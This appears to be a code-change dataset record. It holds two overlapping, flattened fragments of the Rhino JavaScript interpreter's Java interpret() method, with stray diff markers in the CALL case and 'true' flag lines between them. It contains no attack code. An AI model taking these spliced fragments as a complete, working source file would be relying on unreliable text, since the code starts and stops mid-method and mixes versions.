stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.setProp(lhs, name, rhs, scope); break; case TokenStream.GETELEM : do_getElem(stack, sDbl, stackTop, scope); --stackTop; break; case TokenStream.SETELEM : do_setElem(stack, sDbl, stackTop, scope); stackTop -= 2; break; case TokenStream.PROPINC : name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postIncrement(lhs, name, scope); break; case TokenStream.PROPDEC : name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postDecrement(lhs, name, scope); break; case TokenStream.ELEMINC : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postIncrementElem(lhs, rhs, scope); break; case TokenStream.ELEMDEC : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postDecrementElem(lhs, rhs, scope); break; case TokenStream.GETTHIS : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getThis((Scriptable)lhs); break; case TokenStream.NEWTEMP : slot = (iCode[++pc] & 0xFF); stack[LOCAL_SHFT + slot] = stack[stackTop]; sDbl[LOCAL_SHFT + slot] = sDbl[stackTop]; break; case TokenStream.USETEMP : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[LOCAL_SHFT + slot]; sDbl[stackTop] = sDbl[LOCAL_SHFT + slot]; break; case TokenStream.CALLSPECIAL : if (instructionThreshold != 0) { instructionCount += INVOCATION_COST; cx.instructionCount = instructionCount; instructionCount = -1; } int lineNum = getShort(iCode, pc + 1); name = strings[getShort(iCode, pc + 3)]; count = getShort(iCode, pc + 5); outArgs = getArgsArray(stack, sDbl, stackTop, count); stackTop -= count; rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.callSpecial( cx, lhs, rhs, outArgs, thisObj, scope, name, lineNum); pc += 6; instructionCount = cx.instructionCount; break; case TokenStream.CALL : if (instructionThreshold != 0) { instructionCount += INVOCATION_COST; cx.instructionCount = instructionCount; instructionCount = -1; } cx.instructionCount = instructionCount; count = getShort(iCode, pc + 3); outArgs = getArgsArray(stack, sDbl, stackTop, count); stackTop -= count; rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); if (lhs == undefined) { i = getShort(iCode, pc + 1); if (i != -1) lhs = strings[i]; } Scriptable calleeScope = scope; if (theData.itsNeedsActivation) { calleeScope = ScriptableObject. getTopLevelScope(scope); } stack[stackTop] = ScriptRuntime.call(cx, lhs, rhs, outArgs, calleeScope); - pc += 4; instructionCount = cx.instructionCount; + pc += 4; + instructionCount = cx.instructionCount; break; case TokenStream.NEW : if (instructionThreshold != 0) { instructionCount += INVOCATION_COST; cx.instructionCount = instructionCount; instructionCount = -1; } count = getShort(iCode, pc + 3); outArgs = getArgsArray(stack, sDbl, stackTop, count); stackTop -= count; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); if (lhs == undefined && getShort(iCode, pc + 1) != -1) { // special code for better error message for call // to undefined lhs = strings[getShort(iCode, pc + 1)]; } stack[stackTop] = ScriptRuntime.newObject(cx, lhs, outArgs, scope); pc += 4; instructionCount = cx.instructionCount; break; case TokenStream.TYPEOF : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.typeof(lhs); break; case TokenStream.TYPEOFNAME : name = strings[getShort(iCode, pc + 1)]; stack[++stackTop] = ScriptRuntime.typeofName(scope, name); pc += 2; break; case TokenStream.STRING : stack[++stackTop] = strings[getShort(iCode, pc + 1)]; pc += 2; break; case TokenStream.SHORTNUMBER : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = getShort(iCode, pc + 1); pc += 2; break; case TokenStream.INTNUMBER : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = getInt(iCode, pc + 1); pc += 4; break; case TokenStream.NUMBER : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = theData. itsDoubleTable[getShort(iCode, pc + 1)]; pc += 2; break; case TokenStream.NAME : stack[++stackTop] = ScriptRuntime.name (scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.NAMEINC : stack[++stackTop] = ScriptRuntime.postIncrement (scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.NAMEDEC : stack[++stackTop] = ScriptRuntime.postDecrement (scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.SETVAR : slot = (iCode[++pc] & 0xFF); stack[VAR_SHFT + slot] = stack[stackTop]; sDbl[VAR_SHFT + slot] = sDbl[stackTop]; break; case TokenStream.GETVAR : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[VAR_SHFT + slot]; sDbl[stackTop] = sDbl[VAR_SHFT + slot]; break; case TokenStream.VARINC : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[VAR_SHFT + slot]; sDbl[stackTop] = sDbl[VAR_SHFT + slot]; stack[VAR_SHFT + slot] = DBL_MRK; sDbl[VAR_SHFT + slot] = stack_double(stack, sDbl, stackTop) + 1.0; break; case TokenStream.VARDEC : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[VAR_SHFT + slot]; sDbl[stackTop] = sDbl[VAR_SHFT + slot]; stack[VAR_SHFT + slot] = DBL_MRK; sDbl[VAR_SHFT + slot] = stack_double(stack, sDbl, stackTop) - 1.0; break; case TokenStream.ZERO : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = 0; break; case TokenStream.ONE : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = 1; break; case TokenStream.NULL : stack[++stackTop] = null; break; case TokenStream.THIS : stack[++stackTop] = thisObj; break; case TokenStream.THISFN : stack[++stackTop] = fnOrScript; break; case TokenStream.FALSE : stack[++stackTop] = Boolean.FALSE; break; case TokenStream.TRUE : stack[++stackTop] = Boolean.TRUE; break; case TokenStream.UNDEFINED : stack[++stackTop] = Undefined.instance; break; case TokenStream.THROW : result = stack[stackTop]; if (result == DBL_MRK) result = doubleWrap(sDbl[stackTop]); --stackTop; throw new JavaScriptException(result); case TokenStream.JTHROW : result = stack[stackTop]; // No need to check for DBL_MRK: result is Exception --stackTop; if (result instanceof JavaScriptException) throw (JavaScriptException)result; else throw (RuntimeException)result; case TokenStream.ENTERWITH : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); --stackTop; scope = ScriptRuntime.enterWith(lhs, scope); break; case TokenStream.LEAVEWITH : scope = ScriptRuntime.leaveWith(scope); break; case TokenStream.NEWSCOPE : stack[++stackTop] = ScriptRuntime.newScope(); break; case TokenStream.ENUMINIT : slot = (iCode[++pc] & 0xFF); lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); --stackTop; stack[LOCAL_SHFT + slot] = ScriptRuntime.initEnum(lhs, scope); break; case TokenStream.ENUMNEXT : slot = (iCode[++pc] & 0xFF); val = stack[LOCAL_SHFT + slot]; ++stackTop; stack[stackTop] = ScriptRuntime. nextEnum((Enumeration)val); break; case TokenStream.GETPROTO : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getProto(lhs, scope); break; case TokenStream.GETPARENT : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getParent(lhs); break; case TokenStream.GETSCOPEPARENT : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getParent(lhs, scope); break; case TokenStream.SETPROTO : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.setProto(lhs, rhs, scope); break; case TokenStream.SETPARENT : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.setParent(lhs, rhs, scope); break; case TokenStream.SCOPE : stack[++stackTop] = scope; break; case TokenStream.CLOSURE : i = getShort(iCode, pc + 1); stack[++stackTop] = new InterpretedFunction( theData.itsNestedFunctions[i], scope, cx); createFunctionObject( (InterpretedFunction)stack[stackTop], scope); pc += 2; break; case TokenStream.OBJECT : i = getShort(iCode, pc + 1); stack[++stackTop] = theData.itsRegExpLiterals[i]; pc += 2; break; case TokenStream.SOURCEFILE : cx.interpreterSourceFile = theData.itsSourceFile; break; case TokenStream.LINE : case TokenStream.BREAKPOINT : i = getShort(iCode, pc + 1); cx.interpreterLine = i; if (frame != null) frame.setLineNumber(i); if ((iCode[pc] & 0xff) == TokenStream.BREAKPOINT || cx.inLineStepMode) { cx.getDebuggableEngine(). getDebugger().handleBreakpointHit(cx); } pc += 2; break; default : dumpICode(theData); throw new RuntimeException("Unknown icode : " + (iCode[pc] & 0xff) + " @ pc : " + pc); } pc++; } catch (Throwable ex) { cx.interpreterSecurityDomain = null; if (instructionThreshold != 0) { if (instructionCount < 0) { // throw during function call instructionCount = cx.instructionCount; } else { // throw during any other operation instructionCount += pc - pcPrevBranch; cx.instructionCount = instructionCount; } } final int SCRIPT_THROW = 0, ECMA = 1, RUNTIME = 2, OTHER = 3; int exType; Object errObj; // Object seen by catch if (ex instanceof JavaScriptException) { errObj = ScriptRuntime. unwrapJavaScriptException((JavaScriptException)ex); exType = SCRIPT_THROW; } else if (ex instanceof EcmaError) { // an offical ECMA error object, errObj = ((EcmaError)ex).getErrorObject(); exType = ECMA; } else if (ex instanceof RuntimeException) { errObj = ex; exType = RUNTIME; } else { errObj = ex; // Error instance exType = OTHER; } if (exType != OTHER && cx.debugger != null) { cx.debugger.handleExceptionThrown(cx, errObj); } boolean rethrow = true; if (exType != OTHER && tryStackTop > 0) { --tryStackTop; if (exType == SCRIPT_THROW || exType == ECMA) { // Check for catch only for // JavaScriptException and EcmaError pc = catchStack[tryStackTop * 2]; if (pc != 0) { // Has catch block rethrow = false; } } if (rethrow) { pc = catchStack[tryStackTop * 2 + 1]; if (pc != 0) { // has finally block rethrow = false; errObj = ex; } } } if (rethrow) { if (frame != null) cx.popFrame(); if (exType == SCRIPT_THROW) throw (JavaScriptException)ex; if (exType == ECMA || exType == RUNTIME) throw (RuntimeException)ex; throw (Error)ex; } // We caught an exception, // Notify instruction observer if necessary // and point pcPrevBranch to start of catch/finally block if (instructionThreshold != 0) { if (instructionCount > instructionThreshold) { // Note: this can throw Error cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc; // prepare stack and restore this function's security domain. scope = (Scriptable)stack[TRY_SCOPE_SHFT + tryStackTop]; stackTop = 0; stack[0] = errObj; cx.interpreterSecurityDomain = theData.securityDomain; } } cx.interpreterSecurityDomain = savedSecurityDomain; if (frame != null) cx.popFrame(); if (instructionThreshold != 0) { if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } cx.instructionCount = instructionCount; } return result; } private static Object doubleWrap(double x) { return new Double(x); } private static int stack_int32(Object[] stack, double[] stackDbl, int i) { Object x = stack[i]; return (x != DBL_MRK) ? ScriptRuntime.toInt32(x) : ScriptRuntime.toInt32(stackDbl[i]); } private static double stack_double(Object[] stack, double[] stackDbl, int i) { Object x = stack[i]; return (x != DBL_MRK) ? ScriptRuntime.toNumber(x) : stackDbl[i]; } private static void do_add(Object[] stack, double[] stackDbl, int stackTop) { Object rhs = stack[stackTop + 1]; Object lhs = stack[stackTop]; if (rhs == DBL_MRK) { double rDbl = stackDbl[stackTop + 1]; if (lhs == DBL_MRK) { stackDbl[stackTop] += rDbl; } else { do_add(lhs, rDbl, stack, stackDbl, stackTop, true); } } else if (lhs == DBL_MRK) { do_add(rhs, stackDbl[stackTop], stack, stackDbl, stackTop, false); } else { if (lhs instanceof Scriptable) lhs = ((Scriptable) lhs).getDefaultValue(null); if (rhs instanceof Scriptable) rhs = ((Scriptable) rhs).getDefaultValue(null); if (lhs instanceof String || rhs instanceof String) { stack[stackTop] = ScriptRuntime.toString(lhs) + ScriptRuntime.toString(rhs); } else { double lDbl = (lhs instanceof Number) ? ((Number)lhs).doubleValue() : ScriptRuntime.toNumber(lhs); double rDbl = (rhs instanceof Number) ? ((Number)rhs).doubleValue() : ScriptRuntime.toNumber(rhs); stack[stackTop] = DBL_MRK; stackDbl[stackTop] = lDbl + rDbl; } } } // x + y when x is Number, see private static void do_add (Object lhs, double rDbl, Object[] stack, double[] stackDbl, int stackTop, boolean left_right_order) { if (lhs instanceof Scriptable) { if (lhs == Undefined.instance) { lhs = ScriptRuntime.NaNobj; } else { lhs = ((Scriptable)lhs).getDefaultValue(null); } } if (lhs instanceof String) { if (left_right_order) { stack[stackTop] = (String)lhs + ScriptRuntime.toString(rDbl); } else { stack[stackTop] = ScriptRuntime.toString(rDbl) + (String)lhs; } } else { double lDbl = (lhs instanceof Number) ? ((Number)lhs).doubleValue() : ScriptRuntime.toNumber(lhs); stack[stackTop] = DBL_MRK; stackDbl[stackTop] = lDbl + rDbl; } } private static boolean do_eq(Object[] stack, double[] stackDbl, int stackTop) { boolean result; Object rhs = stack[stackTop + 1]; Object lhs = stack[stackTop]; if (rhs == DBL_MRK) { if (lhs == DBL_MRK) { result = (stackDbl[stackTop] == stackDbl[stackTop + 1]); } else { result = do_eq(stackDbl[stackTop + 1], lhs); } } else { if (lhs == DBL_MRK) { result = do_eq(stackDbl[stackTop], rhs); } else { result = ScriptRuntime.eq(lhs, rhs); } } return result; } // Optimized version of ScriptRuntime.eq if x is a Number private static boolean do_eq(double x, Object y) { for (;;) { if (y instanceof Number) { return x == ((Number) y).doubleValue(); } if (y instanceof String) { return x == ScriptRuntime.toNumber((String)y); } if (y instanceof Boolean) { return x == (((Boolean)y).booleanValue() ? 1 : 0); } if (y instanceof Scriptable) { if (y == Undefined.instance) { return false; } y = ScriptRuntime.toPrimitive(y); continue; } return false; } } private static boolean do_sheq(Object[] stack, double[] stackDbl, int stackTop) { boolean result; Object rhs = stack[stackTop + 1]; Object lhs = stack[stackTop]; if (rhs == DBL_MRK) { double rDbl = stackDbl[stackTop + 1]; if (lhs == DBL_MRK) { result = (stackDbl[stackTop] == rDbl); } else { result = (lhs instanceof Number); if (result) { result = (((Number)lhs).doubleValue() == rDbl); } } } else if (rhs instanceof Number) { double rDbl = ((Number)rhs).doubleValue(); if (lhs == DBL_MRK) { result = (stackDbl[stackTop] == rDbl); } else { result = (lhs instanceof Number); if (result) { result = (((Number)lhs).doubleValue() == rDbl); } } } else { result = ScriptRuntime.shallowEq(lhs, rhs); } return result; } private static void do_getElem(Object[] stack, double[] stackDbl, int stackTop, Scriptable scope) { Object lhs = stack[stackTop - 1]; if (lhs == DBL_MRK) lhs = doubleWrap(stackDbl[stackTop - 1]); Object result; Object id = stack[stackTop]; if (id != DBL_MRK) { result = ScriptRuntime.getElem(lhs, id, scope); } else { Scriptable obj = (lhs instanceof Scriptable) ? (Scriptable)lhs : ScriptRuntime.toObject(scope, lhs); double val = stackDbl[stackTop]; int index = (int)val; if (index == val) { result = ScriptRuntime.getElem(obj, index); } else { String s = ScriptRuntime.toString(val); result = ScriptRuntime.getStrIdElem(obj, s); } } stack[stackTop - 1] = result; } private static void do_setElem(Object[] stack, double[] stackDbl, int stackTop, Scriptable scope) { Object rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(stackDbl[stackTop]); Object lhs = stack[stackTop - 2]; if (lhs == DBL_MRK) lhs = doubleWrap(stackDbl[stackTop - 2]); Object result; Object id = stack[stackTop - 1]; if (id != DBL_MRK) { result = ScriptRuntime.setElem(lhs, id, rhs, scope); } else { Scriptable obj = (lhs instanceof Scriptable) ? (Scriptable)lhs : ScriptRuntime.toObject(scope, lhs); double val = stackDbl[stackTop - 1]; int index = (int)val; if (index == val) { result = ScriptRuntime.setElem(obj, index, rhs); } else { String s = ScriptRuntime.toString(val); result = ScriptRuntime.setStrIdElem(obj, s, rhs, scope); } } stack[stackTop - 2] = result; } private static Object[] getArgsArray(Object[] stack, double[] sDbl, int stackTop, int count) { if (count == 0) { return ScriptRuntime.emptyArgs; } Object[] args = new Object[count]; do { Object val = stack[stackTop]; if (val == DBL_MRK) val = doubleWrap(sDbl[stackTop]); args[--count] = val; --stackTop; } while (count != 0); return args; } private int version; private boolean inLineStepMode; private StringBuffer debugSource; private static final Object DBL_MRK = new Object(); }
true
true
public static Object interpret(Context cx, Scriptable scope, Scriptable thisObj, Object[] args, NativeFunction fnOrScript, InterpreterData theData) throws JavaScriptException { int i; Object lhs; final int maxStack = theData.itsMaxStack; final int maxVars = (fnOrScript.argNames == null) ? 0 : fnOrScript.argNames.length; final int maxLocals = theData.itsMaxLocals; final int maxTryDepth = theData.itsMaxTryDepth; final int VAR_SHFT = maxStack; final int LOCAL_SHFT = VAR_SHFT + maxVars; final int TRY_SCOPE_SHFT = LOCAL_SHFT + maxLocals; // stack[0 <= i < VAR_SHFT]: stack data // stack[VAR_SHFT <= i < LOCAL_SHFT]: variables // stack[LOCAL_SHFT <= i < TRY_SCOPE_SHFT]: used for newtemp/usetemp // stack[TRY_SCOPE_SHFT <= i]: try scopes // when 0 <= i < LOCAL_SHFT and stack[x] == DBL_MRK, // sDbl[i] gives the number value final Object DBL_MRK = Interpreter.DBL_MRK; Object[] stack = new Object[TRY_SCOPE_SHFT + maxTryDepth]; double[] sDbl = new double[TRY_SCOPE_SHFT]; int stackTop = -1; byte[] iCode = theData.itsICode; String[] strings = theData.itsStringTable; int pc = 0; int iCodeLength = theData.itsICodeTop; final Scriptable undefined = Undefined.instance; if (maxVars != 0) { int definedArgs = fnOrScript.argCount; if (definedArgs != 0) { if (definedArgs > args.length) { definedArgs = args.length; } for (i = 0; i != definedArgs; ++i) { stack[VAR_SHFT + i] = args[i]; } } for (i = definedArgs; i != maxVars; ++i) { stack[VAR_SHFT + i] = undefined; } } if (theData.itsNestedFunctions != null) { for (i = 0; i < theData.itsNestedFunctions.length; i++) createFunctionObject(theData.itsNestedFunctions[i], scope); } Object id; Object rhs, val; double valDbl; boolean valBln; int count; int slot; String name = null; Object[] outArgs; int lIntValue; double lDbl; int rIntValue; double rDbl; int[] catchStack = null; int tryStackTop = 0; InterpreterFrame frame = null; if (cx.debugger != null) { frame = new InterpreterFrame(scope, theData, fnOrScript); cx.pushFrame(frame); } if (maxTryDepth != 0) { // catchStack[2 * i]: starting pc of catch block // catchStack[2 * i + 1]: starting pc of finally block catchStack = new int[maxTryDepth * 2]; } /* Save the security domain. Must restore upon normal exit. * If we exit the interpreter loop by throwing an exception, * set cx.interpreterSecurityDomain to null, and require the * catching function to restore it. */ Object savedSecurityDomain = cx.interpreterSecurityDomain; cx.interpreterSecurityDomain = theData.securityDomain; Object result = undefined; int pcPrevBranch = pc; final int instructionThreshold = cx.instructionThreshold; // During function call this will be set to -1 so catch can properly // adjust it int instructionCount = cx.instructionCount; // arbitrary number to add to instructionCount when calling // other functions final int INVOCATION_COST = 100; while (pc < iCodeLength) { try { switch (iCode[pc] & 0xff) { case TokenStream.ENDTRY : tryStackTop--; break; case TokenStream.TRY : i = getTarget(iCode, pc + 1); if (i == pc) i = 0; catchStack[tryStackTop * 2] = i; i = getTarget(iCode, pc + 3); if (i == (pc + 2)) i = 0; catchStack[tryStackTop * 2 + 1] = i; stack[TRY_SCOPE_SHFT + tryStackTop] = scope; ++tryStackTop; pc += 4; break; case TokenStream.GE : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && rDbl <= lDbl); } else { valBln = (1 == ScriptRuntime.cmp_LE(rhs, lhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.LE : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && lDbl <= rDbl); } else { valBln = (1 == ScriptRuntime.cmp_LE(lhs, rhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.GT : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && rDbl < lDbl); } else { valBln = (1 == ScriptRuntime.cmp_LT(rhs, lhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.LT : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && lDbl < rDbl); } else { valBln = (1 == ScriptRuntime.cmp_LT(lhs, rhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.IN : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); valBln = ScriptRuntime.in(lhs, rhs, scope); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.INSTANCEOF : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); valBln = ScriptRuntime.instanceOf(scope, lhs, rhs); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.EQ : --stackTop; valBln = do_eq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.NE : --stackTop; valBln = !do_eq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.SHEQ : --stackTop; valBln = do_sheq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.SHNE : --stackTop; valBln = !do_sheq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.IFNE : val = stack[stackTop]; if (val != DBL_MRK) { valBln = !ScriptRuntime.toBoolean(val); } else { valDbl = sDbl[stackTop]; valBln = !(valDbl == valDbl && valDbl != 0.0); } --stackTop; if (valBln) { if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount (instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; } pc += 2; break; case TokenStream.IFEQ : val = stack[stackTop]; if (val != DBL_MRK) { valBln = ScriptRuntime.toBoolean(val); } else { valDbl = sDbl[stackTop]; valBln = (valDbl == valDbl && valDbl != 0.0); } --stackTop; if (valBln) { if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount (instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; } pc += 2; break; case TokenStream.GOTO : if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; case TokenStream.GOSUB : sDbl[++stackTop] = pc + 3; if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; case TokenStream.RETSUB : slot = (iCode[pc + 1] & 0xFF); if (instructionThreshold != 0) { instructionCount += pc + 2 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc = (int)sDbl[LOCAL_SHFT + slot]; continue; case TokenStream.POP : stackTop--; break; case TokenStream.DUP : stack[stackTop + 1] = stack[stackTop]; sDbl[stackTop + 1] = sDbl[stackTop]; stackTop++; break; case TokenStream.POPV : result = stack[stackTop]; if (result == DBL_MRK) result = doubleWrap(sDbl[stackTop]); --stackTop; break; case TokenStream.RETURN : result = stack[stackTop]; if (result == DBL_MRK) result = doubleWrap(sDbl[stackTop]); --stackTop; pc = getTarget(iCode, pc + 1); break; case TokenStream.BITNOT : rIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = ~rIntValue; break; case TokenStream.BITAND : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue & rIntValue; break; case TokenStream.BITOR : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue | rIntValue; break; case TokenStream.BITXOR : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue ^ rIntValue; break; case TokenStream.LSH : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue << rIntValue; break; case TokenStream.RSH : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue >> rIntValue; break; case TokenStream.URSH : rIntValue = stack_int32(stack, sDbl, stackTop) & 0x1F; --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = ScriptRuntime.toUint32(lDbl) >>> rIntValue; break; case TokenStream.ADD : --stackTop; do_add(stack, sDbl, stackTop); break; case TokenStream.SUB : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lDbl - rDbl; break; case TokenStream.NEG : rDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = -rDbl; break; case TokenStream.POS : rDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = rDbl; break; case TokenStream.MUL : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lDbl * rDbl; break; case TokenStream.DIV : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; // Detect the divide by zero or let Java do it ? sDbl[stackTop] = lDbl / rDbl; break; case TokenStream.MOD : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lDbl % rDbl; break; case TokenStream.BINDNAME : name = strings[getShort(iCode, pc + 1)]; stack[++stackTop] = ScriptRuntime.bind(scope, name); pc += 2; break; case TokenStream.GETBASE : name = strings[getShort(iCode, pc + 1)]; stack[++stackTop] = ScriptRuntime.getBase(scope, name); pc += 2; break; case TokenStream.SETNAME : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; // what about class cast exception here for lhs? stack[stackTop] = ScriptRuntime.setName ((Scriptable)lhs, rhs, scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.DELPROP : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); 